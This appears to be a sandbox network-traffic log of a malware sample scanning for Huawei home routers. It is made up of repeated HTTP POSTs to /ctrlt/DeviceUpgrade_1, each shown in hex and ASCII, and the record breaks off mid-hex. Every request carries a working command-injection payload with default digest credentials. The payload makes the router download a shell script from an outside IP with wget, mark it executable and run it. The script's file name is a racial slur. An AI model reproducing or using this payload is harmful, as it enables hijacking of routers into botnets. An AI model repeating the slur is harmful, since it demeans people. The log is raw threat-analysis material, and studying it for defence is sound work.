28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
225	192.168.2.15	53036	31.136.146.241	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:06.098654032 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:06.656270981 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:07.744370937 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:09.952397108 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:14.304070950 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:23.007924080 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
226	192.168.2.15	53256	31.136.240.15	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:06.098757029 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:06.656292915 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:07.744375944 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 